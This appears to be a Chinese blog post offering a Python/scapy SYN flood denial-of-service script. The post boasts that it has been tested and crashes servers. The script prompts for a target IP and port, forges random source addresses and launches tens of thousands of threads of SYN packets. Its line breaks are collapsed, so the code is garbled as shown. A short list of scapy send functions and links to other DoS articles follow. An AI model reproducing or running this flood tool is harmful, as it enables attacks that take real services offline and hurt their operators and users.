scapy dos攻击
python3 亲测打爆服务器
import random
from scapy.all import * # scapy模块
import sys
import threading
import randomglobal idef synFlooi(tgt, dPort, k): # 自定义函数i = 1while True:srcList = ['192' + '.' + str(random.randrange(254)) + '.' + str(random.randrange(254)) + '.' + str(random.randrange(254)),'10.' + str(random.randrange(254)) + '.' + str(random.randrange(254)) + '.' + str(random.randrange(254))]# 设置源ip地址sPort = random.randrange(1024, 65535) # 设置端口index = random.randrange(0, 1) # 选一个ip段ipLayer = IP(src=srcList[index], dst=tgt)tcpLayer = TCP(sport=sPort, dport=dPort, flags="S") # 构造ip包packet = ipLayer / tcpLayer # 构造tcp包send(packet)if k == i:breakelse:print(f'已经攻击次数{i}')i = i + 1if __name__ == '__main__':print("***********\n欢迎使用小万ddos攻击 \n**************")tgt = input("请输入被攻击者ip地址:")port = int(input("请输入被攻击者的端口:"))xc = int(input("线程数目(默认50000)攻击数要乘以线程数:") or 50000)k, i = int(input("请输入执行次数:")), 1lb = []for m in range(0, xc):lb.append(threading.Thread(target=synFlooi, args=(tgt, port, k))) #多线程起飞lb[m].start()print(f'线程{m}启动成功')
scapy发送数据包有常用的如下几种方法:
send(pkt) 发送三层数据包,但不会受到返回的结果。
sr(pkt) 发送三层数据包,返回两个结果,分别是接收到响应的数据包和未收到响应的数据包。
sr1(pkt) 发送三层数据包,仅仅返回接收到响应的数据包。
sendp(pkt) 发送二层数据包。
srp(pkt) 发送二层数据包,并等待响应。
srp1(pkt) 发送第二层数据包,并返回响应的数据包
例如,使用sr发送一个数据包,ans为响应的数据包,uans为未响应的数据包。
scapy dos攻击相关推荐
- Dos攻击和校网渗透
Dos攻击和校网渗透 为了证明我还活着,话不多说 Dos攻击脚本(这是一个sockstrees Dos脚本) 1 #-*- coding:utf-8 -*- 2 from scapy.all imp ...
- HTTP POST慢速DOS攻击初探
1. 关于HTTP POST慢速DOS攻击 HTTP Post慢速DOS攻击第一次在技术社区被正式披露是今年的OWASP大会上,由Wong Onn Chee 和 Tom Brennan共同演示了使用这 ...
- python dos攻击_利用SMB漏洞DoS攻击任何Windows系统
原标题:利用SMB漏洞DoS攻击任何Windows系统 近日微软报出SMB V1存在漏洞,安全研究员并将此漏洞称作 " SMBLoris ",解释其能够发动拒绝服务(Dos)攻击, ...
- Dos攻击工具(ZAmbIE)
简介 ZAmbIE是一款DOS攻击工具,支持各种状态的DOS攻击,用Python编写,还没有完成,但是可以使用 首先说明一下DDOS才是分布式拒绝服务攻击,DOS是拒绝服务攻击,DOS是单机操作的 下 ...
- Avahi DOS攻击broadcast-avahi-dos
Avahi DOS攻击broadcast-avahi-dos Avahi是Linux下常用的类DNS服务.它可以帮助主机在没有DNS服务的局域网中,发现基于Zeroconf协议的设备和服务.该工具工作 ...
- DOS攻击之详解--转载
源地址没有找到,间接引用地址:http://wushank.blog.51cto.com/3489095/1156004 DoS到底是什么?接触PC机较早的同志会直接想到微软磁盘操作系统的DOS--D ...
- TCP协议三次握手连接四次握手断开和DOS攻击
转载: http://hi.baidu.com/xgdcisco/blog/item/60da65f70fd8145d342acc28.html: http://blog.csdn.net/losty ...
- dos攻击mysql_浅谈DOS与DDOS攻击
DOS(Denial of Service)攻击,即拒绝服务攻击,其目的是使计算机或网络无法提供正常的服务.最常见的DoS攻击有计算机网络带宽攻击和连通性攻击. DDOS(DDoS:Distribut ...
- 利用UDP19端口实施DOS攻击的真实案例
昨天在一个用户现场发现了一个利用UDP19端口对互联网受害者主机进行DOS攻击的真实案例.这个情况是我第一次见到,个人认为对以后遇到此类情况的兄弟具有参考价值.有必要做一个简单的分析记录. 在此次的分 ...
最新文章
- android sdk安装
- libvirt(virt-install命令介绍)
- Http服务添加认证
- webpack从入门到精通(一)初体验
- Hi Visual Studio for Mac
- 自定义汇编程序,Weaver和运行时的可插拔知识
- 揭秘“21世纪最性感的职业”:数学、编程、沟通和商业技能一个都不能少!...
- 尚学堂java 答案解析 第四章
- 自定义异步加载资源插件
- activemq网页管理端使用_极周PC端(网页版)使用说明
- 《Android 应用案例开发大全(第3版)》——第1.3节Android开发环境的搭建
- C51自动贪吃蛇程序
- SQL Server索引 - 聚集索引、非聚集索引、非聚集唯一索引 第八篇
- 问题解决_系统识别不了内存
- 远程文件下载/小电影下载
- HTML把cmyk转换为RGB,CMYK在线转换成pantone色卡号,cmyk转换对应潘通色号
- 【MySQL·水滴计划】第三话- SQL的基本概念
- 两台MAC时间机器的备份和系统恢复
- linux usb3 转hdmi,USB TYPE-C转HDMI+PD3.0+USB3.0/USB3.1多功能扩展坞设计方法和设计电路...
- 6 款国外开源web oa办公系统